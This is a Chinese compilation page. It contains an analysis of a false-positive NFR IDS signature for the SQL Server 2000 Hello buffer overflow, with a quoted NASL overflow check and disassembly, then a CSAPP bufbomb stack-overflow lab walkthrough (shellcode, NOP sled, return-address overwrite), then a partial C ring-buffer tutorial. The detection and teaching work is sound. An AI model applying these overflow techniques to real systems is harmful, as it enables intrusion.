这篇文章主要围绕优化NFR之一--MSSQLHelloBufferOverflow和sqlnumericoverflow展开,旨在为您提供一份详细的参考资料。我们将全面介绍优化NFR之一--MSSQL
这篇文章主要围绕优化NFR之一 --MSSQL Hello Buffer Overflow和sql numeric overflow展开,旨在为您提供一份详细的参考资料。我们将全面介绍优化NFR之一 --MSSQL Hello Buffer Overflow的优缺点,解答sql numeric overflow的相关问题,同时也会为您带来Buffer Overflow: 堆栈溢出攻击实验、C 语言创建循环缓冲区(环形缓冲区)-- Circular Buffer(Ring Buffer)、C++ 框架中的缓冲区溢出 (buffer overflow) 如何预防和处理?、CSS overflow-y:visible,overflow-x:scroll的实用方法。
本文目录一览:- 优化NFR之一 --MSSQL Hello Buffer Overflow(sql numeric overflow)
- Buffer Overflow: 堆栈溢出攻击实验
- C 语言创建循环缓冲区(环形缓冲区)-- Circular Buffer(Ring Buffer)
- C++ 框架中的缓冲区溢出 (buffer overflow) 如何预防和处理?
- CSS overflow-y:visible,overflow-x:scroll
优化NFR之一 --MSSQL Hello Buffer Overflow(sql numeric overflow)
1. 前言 3
2. 报警信息 3
3. NFR的检测 4
4. 协议分析 8
5. 漏洞说明 15
6. 漏洞分析 18
7. 小结 20
1. 前言
NFR(Network Flight Recorder)是一个老牌的商业网络IDS产品,最初由Firewall的牛人Marcus J. Ranum创建,是作为一个通用的网络流量分析和记录软件来实现的,为了最大限度地发挥分析工具的灵活性,NFR提供了完善强大的N-Code脚本语言,在很多的评测中表现出色。虽然L0pht为NFR提供过数百个签名库,但是缺乏一个可靠的签名集一直是他的软肋。
使用NFR有一段时间后,发现NFR存在着不少问题。且不说AI对中文的兼容性差而经常退出,也不说NFR版本升级而攻击事件说明却一直用旧版本的说明,单是IDS中最关键的攻击签名库,却让我大跌眼镜。除了升级缓慢以外,甚至还存在不少错误的签名。本系列文章针对其中我发现的部分问题进行分析和阐述,以便各位更好地利用NFR产品,同时也想和各位同仁讨论IDS中攻击签名库的编写。由于知识和时间的限制,错误之处在所难免,还希望得到各位的指教,任何意见或建议请发至:benjurry@xfocus.org
SQL Server是微软为对抗Oracle推出的数据库, 占领的市场份额已经仅次于Oracle,居世界第二,但是其安全性也一直受到用户的置疑。从1996年,Microsoft公司推出的SQL Server 6.5版本到1998年推出的SQL Server 7.0,以及到2000年8月推出了SQL Server 2000,在版本和功能不断升级的情况下,安全问题却没有得到很好地改善,不断发布针对SQL Server的安全公告和补丁。在2003年1月24日,针对SQL Server的“Slammer”蠕虫在Internet上肆虐,导致网络流量激增,严重影响了世界范围内的计算机和网络系统。SQL Server的漏洞引起了各大安全公司和厂商的重视,因此NFR也立即发布了多个针对SQL Server的攻击签名,其中包括了2002年8月7日Immunity公司Dave Aitel发现的Hello Buffer Overflow漏洞。但是在使用过程中,我发现NFR针对该漏洞的报警非常多,于是我对此进行了分析,于是写成了这个文章,以做记录。
2. 报警信息
下面是NFR针对MS SQL Hello Buffer Overflow的报警信息:
Severity: Attack
Time: 13:54:21 15-Jul-2003
Source File: packages/mssql/sql2k.nfr
Line: 226
Host: benjurry-xfocus
Alert ID: mssql_sql2k:buffered_hello
Source ID: mssql_sql2k:source_me
Source: mssql_sql2k:source_me
Source Description: Sqlserver 2k
Source PID: 36531
Alert Message: Saw 8 Mssql HELLO overflows from 192.168
0.110 in 900 seconds
: 3
Source IP: 192.168.0.110
Destination IP: --
其中包括了事件的严重等级、时间、NFR Sensor名字、攻击源IP、目的IP和一些其他报警信息。
在实际的使用中,一天产生了几百条这种报警,看来这是个误报,我们可以好好的分析一下了。
3. NFR的检测
我们首先打开NFR发布的签名库 MSSQL.fp(或者也可以在AI的package中查看) 看一下NFR的针对这个漏洞的攻击签名:
…..
变量定义等…
…
sqlserv_schema = library_schema:new(1, ["time","ip","int","ip","int", "str"],
scope());
sqlserv_rec = recorder("bin/list %c", "sqlserv_schema");
HELLO_SIG = "\x12\x01\x00\x34\x00\x00\x00\x00\x00\x00\x15";
MIN_LEN = strlen(HELLO_SIG);
…….
filter hello tcp (client, dport: 1433) {
declare $Blob inside tcp.connsym;
if ($Blob == NULL) {
$Blob = tcp.blob;
} else {
$Blob = cat($Blob, tcp.blob);
}
if (strlen($Blob) return;
if (prefix($Blob, HELLO_SIG)) {
if (COUNTHELLO[tcp.connsrc]) {
COUNTHELLO[tcp.connsrc] = COUNTHELLO[tcp.connsrc] + 1;
} else {
COUNTHELLO[tcp.connsrc] = 1;
}
if (do_alert(hello_overflow_alert, tcp.connsrc)) {
alert(source_me, hello_overflow_alert, tcp.connsrc,
tcp.connsport, tcp.conndst, tcp.conndport,
"--AlertDetails",
"ALERT_ID", "40-8",
"ALERT_CONFIDENCE", 60,
"ALERT_SEVERITY", "medium",
"ALERT_IMPACT", "unknown",
"ALERT_EVENT_TYPE", "attack",
"ALERT_ASSESSMENT", "unknown",
"IP_ADDR_SRC", tcp.connsrc,
"PORT_SRC", tcp.connsport,
"IP_ADDR_DST", tcp.conndst,
"PORT_DST", tcp.conndport,
"IP_PROTO_NUM", 6);
}
record packet.sec, tcp.conndst, tcp.conndport, tcp.connsrc,
tcp.connsport, $Blob to sqlserv_rec;
misc_attacks:rec(packet.sec, scope(),
"Mssql HELLO overflow!", tcp.connsrc, tcp.conndst);
}
}
从上面的N-CODE中我们可以看到,NFR在做这个检测的时候步骤如下:
1、定义了一个攻击特征码:
HELLO_SIG = "\x12\x01\x00\x34\x00\x00\x00\x00\x00\x00\x15";
和攻击特征码的长度:
MIN_LEN = strlen(HELLO_SIG);
2、从TCP的载荷数据中取出数据,把这个数据的长度和特征码长度比较,如果这个数据长度小于攻击特征码的长度,那么就不再进行下一步的检测;
3、否则,把这个数据和特征码进行字符串匹配,如果一致则认为是攻击行为,然后进行阻止或者报警。
接下来我们分析一下NFR IDS Record的数据,在AI中选择package->Query->MSSQL->MSSQL Server 200,定好条件,按Table查到数据,随便选取一条,copy出来得到如下内容:
Time: 15-Jul-2003 13:54:21
NFR: benjurry-xfocus
Destination Address:192.168.0.135
Destination Port: 1433
Source Address: 192.168.0.110
Source Port: 1391
Payload:
\x12\x01\x004\x00\x00\x00\x00\x00\x00\x15\x00\x06\x01\x00\x1b\x00
\x01\x02\x00\x1c\x00\x0c\x03\x00(\x00\x04\xff\x08\x00\x00\xc2\x00
\x00\x00MSSQLServer\x00x\x03\x00\x00
上面这条记录包含了攻击的时间,报告攻击行为的NIDS sessor名字,目的IP、目的端口、源ip和源端口,而我们关心的是有效载荷Payload,因为它是NIDS用来和攻击签名库比较的数据。但是NFR在这里有几个小问题:
1. 会把payload中的能转换成ASCII字符的16进制数转换成ASCII码;
2. 不能处理Unicode的字符,这个将在以后的分析中可以看到。
在这个例子中为了分析方便,我们把上面的payload中的字符特征码部分转换成16进制数:
\x12\x01\x00\x34\x00\x00\x00\x00\x00\x00\x15\x00\x06\x01\x00\x1b
\x00\x01\x02\x00\x1c\x00\x0c\x03\x00\x28\x00\x04\xff\x08\x00\x00
\xc2\x00\x00\x00MSSQLServer\x00x\x03\x00\x00
NFR抓到数据组包后,发现是SQL Server包,便把里面的内容和SQL Server的攻击库进行比较,很明显,上面所列的数据和攻击库是相符合的,因此一个报警便产生了,但是这真是一个攻击行为吗?我们继续看下面的分析。
4. 协议分析
根据Xfocus的协议分析项目(将会在近期公布项目成果),MS SQL 2000用的是TDS8.0,它的格式如下:
-------------------------------------------------
| TDS包头(8字节) | TDS负载数据 |
-------------------------------------------------
其中MS SQL SERVER 2000 TDS的包头结构如下:
-------------------------------------------------------------------
| TOKEN | STATUS | LENGTH | SIGNED NUM | PACKET NUM | WINDOW SIZE |
-------------------------------------------------------------------
其中TOKEN字段域1个字节,用来表示TDS操作请求种类。在这个漏洞中是0x12,也就是NFR记录中的有效负载中的第一个字节0x12, 0x12是预登录验证命令请求。其目的是获得当前MS SQL SERVER2000的一些设置值,比如SQL SERVER版本,是否支持加密等信息,作为客户端在构造TDS包的一个依据。SQL Server在接受到该类型的包的时候,将会由SSlibnet.dll中的相应函数做处理,在我的系统SQL Server 2000(没有SP)的情况下,相应函数如下:
.text:42CF6DDD ; Attributes: bp-based frame
.text:42CF6DDD
.text:42CF6DDD public ConnectionPreLogin
.text:42CF6DDD ConnectionPreLogin proc near
.text:42CF6DDD
.text:42CF6DDD var_4 = dword ptr -4
.text:42CF6DDD arg_0 = dword ptr 8
.text:42CF6DDD arg_4 = dword ptr 0Ch
.text:42CF6DDD arg_8 = dword ptr 10h
.text:42CF6DDD arg_C = dword ptr 14h
.text:42CF6DDD arg_10 = dword ptr 18h
.text:42CF6DDD
.text:42CF6DDD push ebp
.text:42CF6DDE mov ebp, esp
.text:42CF6DE0 push ecx
.text:42CF6DE1 mov eax, [ebp+arg_0]
.text:42CF6DE4 mov ecx, [eax+94h]
.text:42CF6DEA mov [ebp+var_4], ecx
.text:42CF6DED cmp [ebp+var_4], 1
.text:42CF6DF1 jz short loc_42CF6E01
.text:42CF6DF3 cmp [ebp+var_4], 1
.text:42CF6DF7 jle short loc_42CF6E3D
.text:42CF6DF9 cmp [ebp+var_4], 3
……
STATUS字段域1个字节,当它为0x01的时候表示此包为当前TDS会话中的最后一个TDS包。
LENGTH字段域2个字节,表示TDS包的总长度,包括TDS包头的长度。
SIGNED NUM字段域2个字节,目前保留未用。
PACKET NUM字段域1个字节,表示此TDS包在当前TDS操作请求中的序号
WINDOW SIZE字段域1个字节,目前保留未用。
MS SQL SERVER 0X12 TDS的包主要包格式如下:
------------------------------------------------------
| TDS包头(8字节)| 字段指示头 | 信息 |
------------------------------------------------------
其中字段指示头是一个可以变长的表,表的每一项代表了在一个字段在信息中的偏移地址和长度信息,在SQL2000中主要是4个字段,其对应的字段指示头的结构如下:
{
BYTE CNETLIBVERNO;
WORD CNETLIBVEROFFSET;
WORD CNETLIBVERLEN;
BYTE CENYFLAGNO;
WORD CENYFLAGOFFSET;
WORD CENYFLAGLEN;
BYTE SINSTNAMENO;
WORD SINSTNAMEOFFSET;
WORD SINSTNAMELEN;
BYTE CTHREADIDNO;
WORD CTHREADIDOFFSET;
WORD CTHREADIDLEN;
BYTE FILEDEND;
}
信息内容的结构如下:
{
BYTE CNETLIBVER[CNETLIBVERLEN]
BYTE CENYFLAG[CENYFLAGLEN];
BYTE SINSTNAME[SINSTNAMELEN]
DWORD CTHREADID[CTHREADIDLEN];
}
其中:
CNETLIBVERNO字段域
偏移:0
长度:1
含义:客户端使用的网络连接库(NETLIB)的版本号信息的字段编号。
说明:
备注:该值固定为0
CNETLIBVEROFFSET字段域
偏移:1
长度:2
含义:客户端使用的网络连接库(NETLIB)的版本号信息的字段偏移。
说明:字段格式是网络字节顺序
备注:
CNETLIBVERLEN字段域
偏移:3
长度:2
含义:客户端使用的网络连接库(NETLIB)的版本号信息的字段长度。
说明:字段格式是网络字节顺序
备注:该值固定为6
CENYFLAGNO字段域
偏移:5
长度:1
含义:客户端使用强制加密标记字段的字段号。
说明:
备注:该值固定为1
CENYFLAGOFFSET字段域
偏移:6
长度:2
含义:客户端使用强制加密标记字段的偏移。
说明:字段格式是网络字节顺序
备注:
CENYFLAGLEN字段域
偏移:8
长度:2
含义:客户端使用强制加密标记字段的长度。
说明:字段格式是网络字节顺序
备注:该值固定为1
SINSTNAMENO字段域
偏移:0XA
长度:1
含义:客户端要求使用服务器的实例名字段的字段号。
说明:
备注:该值固定为2
SINSTNAMEOFFSET字段域
偏移:0XB
长度:2
含义:客户端要求使用服务器的实例名字段的偏移。
说明:字段格式是网络字节顺序
备注:
SINSTNAMELEN字段域
偏移:0XD
长度:2
含义:客户端要求使用服务器的实例名字段的长度。
说明:字段格式是网络字节顺序
备注:
CTHREADIDNO字段域
偏移:0XF
长度:1
含义:客户端进程的线程ID字段的字段号。
说明:
备注:该值固定为3
CTHREADIDOFFSET字段域
偏移:0X10
长度:2
含义:客户端进程的线程ID字段的的偏移。
说明:字段格式是网络字节顺序
备注:
CTHREADIDLEN字段域
偏移:0X12
长度:2
含义:客户端进程的线程ID字段的长度。
说明:字段格式是网络字节顺序
备注:该值固定为4
FILEDEND字段域
偏移:0X14
长度:1
含义:此字段标记字段指示头已经结实,下面的就是字段的信息。
说明:结束标记是0XFF
备注:
CNETLIBVER字段域
偏移:0X15
长度:6
含义:客户端使用的网络连接库(NETLIB)的版本号。
说明:其版本号取的是DBNETLIB.DLL的版本
备注:其格式是网络字节格式,如版本号为80.528.00,则为
08 00 02 10 00 00
CENYFLAG字段域
偏移:0X1B
长度:1
含义:客户端强制加密标志。
说明:0代表客户端不强制加密,1代表客户端使用强制加密
备注:
SINSTNAME字段域
偏移:0X1C
长度:SINSTNAMELEN
含义:客户端要求使用的实例名。
说明:单字节格式
备注:默认实例使用MSSQLserver这个名字
CTHREADID字段域
偏移:0X1C+SINSTNAMELEN
长度:4
含义:客户端进程的线程ID。
说明:字段格式是主机字节顺序
备注:
由上面的格式可以看出,一个用默认实例名MSSQLserver连接的SQL TDS包格式将是如下的格式:
\x12\x01\x00\x34\x00\x00\x00\x00
\x00\x00\x15\x00\x06\x01\x00\x1b
\x00\x01\x02\x00\x1c\x00\x0c\x03
\x00\x28\x00\x04\xff\x08\x00\x00
\xc2\x00\x00\x00MSSQ
LServer\x00
\x78\x03\x00\x00
而NFR的攻击签名库却是
HELLO_SIG = "\x12\x01\x00\x34\x00\x00\x00\x00\x00\x00\x15";
明显是正常TDS 0x12预登陆包的一部分,这就难怪会有这么多报警了,那NFR的这个攻击签名是如何得到的呢?
我们还是从它的漏洞说明入手吧!
5. 漏洞说明
下面是NFR N-CODE中对这个漏洞的说明:
FALSE POSITIVES
False positives are unlikely due to the nature of the attack
REFERENCES
Bugtraq Post
http://cert.uni-stuttgart.de/archive/bugtraq/2002/08/msg00125.html
Exploit
http://www.scan-associates.net/papers/sql2kx2.txt
我们可以看到这个漏洞来自于http://www.immunitysec.com/ 的Dave Aitel,而从http://cert.uni-stuttgart.de/archive/bugtraq/2002/08/msg00125.html所列的MS SQL Server Hello Overflow NASL script中我们可以看到这个漏洞的关键就在于以下几个语句:
pkt_hdr = raw_string(
0x12 ,0x01 ,0x00 ,0x34 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x00 ,0x15 ,0x00 ,0x06 ,0x01 ,0x00 ,0x1b,
0x00 ,0x01 ,0x02 ,0x00 ,0x1c ,0x00 ,0x0c ,0x03 ,0x00 ,0x28 ,0x00 ,0x04 ,0xff ,0x08 ,0x00 ,0x02,
0x10 ,0x00 ,0x00 ,0x00
);
pkt_tail = raw_string (
0x00 ,0x24 ,0x01 ,0x00 ,0x00
);
…..
if(get_port_state(port))
{
soc = open_sock_tcp(port);
if(soc)
{
attack_string=crap(560);
sql_packet = pkt_hdr+attack_string+pkt_tail;
send(socket:soc, data:sql_packet);
r = recv(socket:soc, length:4096);
close(soc);
display ("Result:",r,"\n");
if(!r)
{
display("Security Hole in MSSQL\n");
security_hole(port:port, data:report);
}
}
其中pkt_hdr是根据TDS协议构造的包,中间加了560个字符X,pkt_tail是构造的TDS包尾。
从这里我们可以看到,可怜的NFR居然不负责任地把MS SQL Server Hello Overflow NASL script中的pkt_hdr取出11个字符,毅然决然地把它们作为其签名。更为可笑的是居然还写着“False positives are unlikely due to the nature of the attack ”。
这就是在许多评测中遥遥领先的NFR?后来和stardust聊起这个事情的时候,认为这个现象和很多评测机构在评测IDS产品的时候,重视对产品漏报的检测而忽视对误报的评测有关。因为在评测产品时,基本上都是大部分都是黑箱评测,要检测漏报只要收集几个Exploits就可以进行,但要检测漏报却要产生正常的包,有些系统比如这里的Sql Server,如果不了解它的协议包格式,是很难产生的。因此一些IDS产生便钻了这样的空子,只要收集一些Exploits,把其中的攻击代码作为攻击签名直接发布,而不去分析漏洞产生的真正原因。
下面我们来分析一下这个漏洞产生的原因,然后我们就可以根据这个分析,写出比较完善的攻击签名。
6. 漏洞分析
用IDA对SSlibnet.dll反汇编,我们可以看到:
.text:42CF6F49 loc_42CF6F49: ; CODE XREF: sub_42CF6E4F+EA j
.text:42CF6F49 mov eax, [ebp+0xc]
.text:42CF6F4C add eax, [ebp-0x218]
.text:42CF6F52 push eax
.text:42CF6F53 lea ecx, [ebp-0x214]
.text:42CF6F59 push ecx
.text:42CF6F5A call strcpy
.text:42CF6F5F add esp, 8
.text:42CF6F62 push offset unk_42D01104
.text:42CF6F67 lea edx, [ebp-0x214]
.text:42CF6F6D push edx
.text:42CF6F6E call strcmp
.text:42CF6F73 add esp, 8
这个漏洞的原因就在这里,当程序用strcpy拷贝的时候,如果源字符串超出0x214(也就是532)后,目标地址后的环境变量就会被覆盖导致溢出。由于这个漏洞很早,经历了“Slammer”蠕虫后,基本上所有的系统都补掉了这个漏洞,因此这里就不在提供攻击代码了,有兴趣的朋友可以自己分析和编写一下。
另外需要在这里说明的是,如果分析了TDS协议和这个漏洞的成因,完善的攻击程序中的TDS包的长度是根据计算生成的,明显不会是”\x00\x34”,以避过SQL Server中针对TDS包长度的校验(当然在这个版本的SQL Server中还不包含这个校验),或者攻击程序把这攻击代码分成多个包,因此TDS格式中的status就不会是0x01,因此NFR是检测不出完善的攻击程序的的,也就是说针对这个漏洞,NFR 同时存在误报和漏洞的情况。
在分析了这个漏洞的成因后,我们就可以针对这个问题写出自己的NFR检测代码:
sqlserv_schema = library_schema:new(1, ["time","ip","int","ip","int", "str"],
scope());
sqlserv_rec = recorder("bin/list %c", "sqlserv_schema");
HELLO_SIG = "\x12 ";
#考虑了分包和长度不固定的因素,去除了后面不可靠的特征串
MIN_LEN =29;
#包括TDS包头和字段指示头的总长度
…….
filter hello tcp (client, dport: 1433) {
declare $Blob inside tcp.connsym;
if ($Blob == NULL) {
$Blob = tcp.blob;
} else {
$Blob = cat($Blob, tcp.blob);
}
if (strlen($Blob) return;
if (prefix($Blob, HELLO_SIG) && strlen($Blob) > 295) {
#考虑到实例名不可能超过255,因此这里长度选择了40(包头)+255=295
#也可以增加一个Value,以便用户自己根据事件情况进行调节
#报警
….
}
7. 小结
通过对NFR这个攻击签名的分析可以看出,发布完善的IDS攻击签名不是一个简单的事情,它需要了解应用的协议格式和漏洞的成因。而不是简单地收集网络上存在地exploits,然后截取其中的特征码。
目前很多人包括IDS开发人月都在讨论IDS有没有前途,需不需要。我想与其在那里讨论,不如静下来好好分析漏洞,完善攻击签名,使IDS做的更准确。
与其坐而论不如起而行!!(出处:www.xfocus.net)
Buffer Overflow: 堆栈溢出攻击实验
前言
这是CSAPP
官网上的著名实验,通过注入汇编代码实现堆栈溢出攻击。
实验材料可到我的github
仓库 https://github.com/Cheukyin/C... 下载
linux
默认开启ASLR
,每次加载程序,变量地址都会不一样,所以若要关闭ASLR
:sysctl -w kernel.randomize_va_space=0
(赋值为2
,即可打开ASLR
)不过本实验的程序似乎经过特殊处理,不需要关闭
ASLR
正常编译的程序的
stack
是non-executable
的,但是加一个编译选项就可以打开
本实验的程序应该都打开了executable
选项了
Level0
修改getbuf()
的返回地址,让程序执行smoke
打开gdb
,设置断点至getbuf
, r -u cheukyin
80491f4: 55 push %ebp
80491f5: 89 e5 mov %esp,%ebp
80491f7: 83 ec 38 sub $0x38,%esp
80491fa: 8d 45 d8 lea -0x28(%ebp),%eax
80491fd: 89 04 24 mov %eax,(%esp)
8049200: e8 f5 fa ff ff call 8048cfa <Gets>
8049205: b8 01 00 00 00 mov $0x1,%eax
804920a: c9 leave
804920b: c3 ret
以上代码标明buf
的地址是ebp-0x28
,地址存放在eax
中print $ebp+4 ==> 0x55683884
print eax ==> 0x55683858
两者相差44
个字节,因此需要输入44
个普通字符,在输入smoke
的地址print smoke ==> 0x8048c18
hex
结果保存在level0-smoke-hex.txt
./hex2raw < level0-smoke-hex.txt|./bufbomb_32 -u cheukyin
即可过关
Level1
跟上面类似,执行fizz()
,不过fizz
有一个参数需要压栈,这个参数需要跟cookie
相等
因此除了修改getbuf
返回地址,还需要输入四字节当作fizz
的返回地址,再输入4
字节cookie
./makecookie cheukyin
可获取cookie
反汇编可获取fizz
返回地址
./hex2raw<level1-fizz-hex.txt | ./bufbomb_32 -u cheukyin
通关
Level2
修改全局变量global_value
的值,并进入ban
函数
要修改global_value
,便需在stack
上注入一段修改的代码,执行完get_buf
后jump
到该代码,
代码执行完后便jump
到bang
level2-firecracker-assembly.S
为注入代码:
# push the address of bang onto stack
pushl $0x08048c9d
# in gdb, print &global_value ==> 0x804d100
# mov cheukyin cookie to global_value
mov $0x3955ae84, %eax
mov %eax, 0x804d100
# jump to <bang>
ret
先把bang
地址压栈,然后修改global_value
的值为cheukin
的cookie
,最后ret
跳转至bang
gcc -m32 -c level2-firecracker-assembly.S
生成目标文件 objdump -d level2-firecracker-assembly.o > level2-firecracker-assembly.d
反汇编level2-firecracker-assembly.d
:
0: 68 9d 8c 04 08 push $0x8048c9d
5: b8 84 ae 55 39 mov $0x3955ae84,%eax
a: a3 00 d1 04 08 mov %eax,0x804d100
f: c3 ret
gdb: print $ebp+8 ==> 0x55683888
把机器码填充到上面的地址,然后把get_buf
返回地址修改为上面的地址即可
./hex2raw<level2-bang-hex.txt | ./bufbomb_32 -u cheukyin
可过关
Level3
令getbuf
返回cookie
给test
,因此不能破坏test
的stack frame
,
所以只能把注入代码写在输入字符串的开头,也就是buf
地址
另外,当返回test
时需要恢复正确的ebp
,因此输入字符串中在返回地址之前应写入ebp
:
在getbuf
中, x/wx $ebp ==> 0x55683880
返回地址应是buf
地址: print $ebp-0x28 ==> 0x55683858
注入代码需要把cookie
移入eax
,并返回正确的地址:
#in getbuf: x/wx $ebp+4 ==> 0x08048dbe
#push get_buf''s return address
pushl $0x08048dbe
#return cheukyin''s cookie to test
movl $0x3955ae84, %eax
#return to <test>
ret
gcc -m32 -c level3-Dynamite-assembly.S
objdump -d level3-Dynamite-assembly.o > level3-Dynamite-assembly.d
把生成的机器码填入buf
./hex2raw<level3-Dynamite-hex.txt | ./bufbomb_32 -u cheukyin
通关
Level4
最后一关的要求和上一关一致,不过需要加上-n
参数运行bufbomb
,
此时会进入testn
和getbufn
函数而不是test
和getbuf
函数。
与之前不同在于,为模拟真实环境具有不定数量环境变量在stack frame
的上方,
进入getbufn
时的ebp
值不是固定值,
读取字符串缓冲区大小由32
变为512
,而且会调用testn
函数五次,
意味着需要输入五次字符串并全部通过才能通过。
由于testn()
的ebp
值不固定,首先需要确定如何恢复该值。
需要注意到一个事实,esp
和ebp
距离是固定的.
由testn
的汇编代码:
8048e26: 55 push %ebp
8048e27: 89 e5 mov %esp,%ebp
8048e29: 53 push %ebx
8048e2a: 83 ec 24 sub $0x24,%esp
8048e2d: e8 5e ff ff ff call 8048d90 <uniqueval>
8048e32: 89 45 f4 mov %eax,-0xc(%ebp)
8048e35: e8 d2 03 00 00 call 804920c <getbufn>
8048e3a: 89 c3 mov %eax,%ebx
getbufn
正常返回后应回到8048e3a
,此时ebp=esp+0x28
因此注入代码应增加利用esp
恢复ebp
的语句
如下:
#testn''s ebp is fixed
#read <testn>''s assembly code and calculate
lea 0x28(%esp), %ebp
#look into bufbomb_32.S
#push getbufn''s return address
pushl $0x08048e3a
#return cheukyin''s cookie to test
movl $0x3955ae84, %eax
#return to <testn>
ret
查看其机器码:
0: 8d 6c 24 28 lea 0x28(%esp),%ebp
4: 68 3a 8e 04 08 push $0x8048e3a
9: b8 84 ae 55 39 mov $0x3955ae84,%eax
e: c3 ret
此时,还有另一个难题,ebp
不固定,则getbufn
中的字串数组buf
地址也是不固定的.
如何修改getbufn
返回地址来执行注入代码呢?
通过gdb
查看读入getbufn
内字符串buf
的地址(即eax
),
对于同样的userid
会给出一样的地址序列,
目测是以userid
为seed
的伪随机,五次运行给出的地址分别为:
0x55683678
0x55683698
0x556836c8
0x556835f8
0x55683668
根据提示采用nop sleds
的技术,
大意是:在不清楚有效机器代码的入口地址时,
可以在有效机器代码前以大量的nop
机器指令(0x90)
填充,
只要跳转地址处于这些nop
上就能到达有效机器代码。
由于栈上的机器代码是按地址由低向高顺序执行,
要保证五次运行都能顺利执行有效机器代码,
需要满足:跳转地址位于有效机器代码入口地址之前的nop
机器指令填充区。
这要求尽可能增大nop
填充区,尽可能使有效机器代码段往后挪。
因此返回地址选用最高的地址: 0x556836c8
由getbufn
汇编代码
8049215: 8d 85 f8 fd ff ff lea -0x208(%ebp),%eax
可知buf
地址和存放返回地址的单元相隔 0x208+4 = 0x20c
个字节
而注入代码共15
个字节,因此共需要在buf
开头填充 0x20c-15
个nop(0x90)
然后在填入机器码和返回地址
./hex2raw -n <level4-Nitroglycerin-hex.txt|./bufbomb_32 -u cheukyin -n
通关./hex2raw
的 -n
选项可让hex2raw
重复多次输入
C 语言创建循环缓冲区(环形缓冲区)-- Circular Buffer(Ring Buffer)
由于嵌入式系统的资源有限性,循环缓冲区数据结构体 (Circular Buffer Data Structures) 被大量的使用。
循环缓冲区 (也称为环形缓冲区) 是固定大小的缓冲区,工作原理就像内存是连续的且可循环的一样。在生成和使用内存时,不需将原来的数据全部重新清理掉,只要调整 head/tail 指针即可。当添加数据时,head 指针前进。当使用数据时,tail 指针向前移动。当到达缓冲区的尾部时,指针又回到缓冲区的起始位置。
目录:
- 为什么使用循环缓冲区
- C 实例
- 使用封装
- API 设计
- 确认缓冲区是否已满
- 循环缓冲区容器类型
- 实例
- 使用
为什么使用循环缓冲区?
循环缓冲区通常用作固定大小的队列。固定大小的队列对于嵌入式系统的开发非常友好,因为开发人员通常会尝试使用静态数据存储的方法而不是动态分配。
循环缓冲区对于数据写入和读出以不同速率发生的情况也是非常有用的结构:最新数据始终可用。如果读取数据的速度跟不上写入数据的速度,旧的数据将被新写入的数据覆盖。通过使用循环缓冲区,能够保证我们始终使用最新的数据。
有关其他的用例,请查看 Embedded.com 上的 Ring Buffer Basics。
C 实例
我们将使用 C 语言来开始实现,我们将会碰到一些设计上的挑战。
使用封装
我们将创建一个 Circular Buffer 库,来避免直接操作结构体。
在我们的库文件头部,前置声明结构体:
// Opaque circular buffer structure
typedef struct CIRCULAR_BUFFER_T circular_buf_t;
我们不希望用户直接操作 circular_buf_t 结构体,因为他们可能会觉得可以取消对值的引用。取而代之我们创建一个句柄类型来给用户使用。
最简单的方法是将 cbuf_handle_t 定义为一个指向 circular buffer 的指针。这会避免我们在函数中进行强制转换指针。
// Handle type, the way users interact with the API
typedef circular_buf_t* cbuf_handle_t;
另一种方法是使句柄为 uintptr_t 或 void * 值。在程序内,我们将句柄转换为适当的指针类型。保证 circular buffer 类型对用户隐藏,与数据交互的唯一方法是通过句柄。
我们坚持简单的句柄实现,来使代码简单明了。
API Design
首先,我们应该思考用户如何与循环缓冲区交互:
- 用户需要使用一个 buffer 和 size 来初始化循环缓冲区容器
- 用户需要销毁循环缓冲区容器
- 用户需要 reset 循环缓冲区容器
- 用户需要能够从缓冲区取出下一个值
- 用户需要知道缓冲区是满还是空
- 用户需要知道当前缓冲区元素的数量
- 用户需要知道缓冲区的最大容量
使用这个列表,我们能够合并一个 API 到库中。用户将使用我们在初始化期间创建的不透明句柄类型和缓冲区库进行交互。
在此实例中,我们选择使用 uint8_t 作为基础数据类型。你可以使用任意你喜欢的特定类型 - 但要注意适当地处理底层缓冲区和字节数。
/// Pass in a storage buffer and size
/// Returns a circular buffer handle
cbuf_handle_t circular_buf_init(uint8_t* buffer, size_t size);
/// Free a circular buffer structure.
/// Does not free data buffer; owner is responsible for that
void circular_buf_free(cbuf_handle_t cbuf);
/// Reset the circular buffer to empty, head == tail
void circular_buf_reset(cbuf_handle_t cbuf);
/// Put version 1 continues to add data if the buffer is full
/// Old data is overwritten
void circular_buf_put(cbuf_handle_t cbuf, uint8_t data);
/// Put Version 2 rejects new data if the buffer is full
/// Returns 0 on success, -1 if buffer is full
int circular_buf_put2(cbuf_handle_t cbuf, uint8_t data);
/// Retrieve a value from the buffer
/// Returns 0 on success, -1 if the buffer is empty
int circular_buf_get(cbuf_handle_t cbuf, uint8_t * data);
/// Returns true if the buffer is empty
bool circular_buf_empty(cbuf_handle_t cbuf);
/// Returns true if the buffer is full
bool circular_buf_full(cbuf_handle_t cbuf);
/// Returns the maximum capacity of the buffer
size_t circular_buf_capacity(cbuf_handle_t cbuf);
/// Returns the current number of elements in the buffer
size_t circular_buf_size(cbuf_handle_t cbuf);
确认缓冲区是否已满
在继续之前,我们应该花费一点时间去讨论一个方法去确认缓冲的空满。
循环缓冲区的 “full” 和 “empty” 看起来是相同的:head 和 tail 指针是相等的。有两种方法区分 full 和 empty:
浪费缓冲区中的一个数据槽:
- Full:tail + 1 == head
- Empty:head == tail
使用一个 bool 标志位和其他逻辑来区分:
- Full:full
- Empty:(head == tail) && (!full)
与其浪费一个数据槽,下面方法使用了 bool 标志位。使用标志位的方法要求在 get 和 put 函数中使用其他逻辑来更新标志。
缓冲区容器类型
现在我们已经确定了需要支持的操作,可以开始设计循环缓冲区容器了。
我们使用容器结构体来管理缓冲区状态。为了保留封装,容器结构体定义在 library.c 文件中,而不是头文件中。
我们需要跟踪以下信息:
- 基础数据缓冲区
- 缓冲区的最大范围
- “head” 指针的当前位置(添加元素时增加)
- “tail” 指针的当前位置(读取元素后增加)
- 一个标志位来指示缓冲区是否已满
// The hidden definition of our circular buffer structure
struct circular_buf_t {
uint8_t * buffer;
size_t head;
size_t tail;
size_t max; //of the buffer
bool full;
};
现在,容器已经设计完成,接下来完成库函数。
实例
需要注意的是,每一个 API 都需要一个初始化缓冲区的句柄。我们不使用条件语句来填充我们的代码,而是使用断言以 “Design by Contract” 样式来强制执行我们的 API 要求。
这样如果程序处理不当,将直接终止程序。
初始化和复位
init 函数:初始化循环缓冲区。我们的 API 是用户提供底层 buffer 和 buffer size,API 返回一个 circular buffer 句柄。
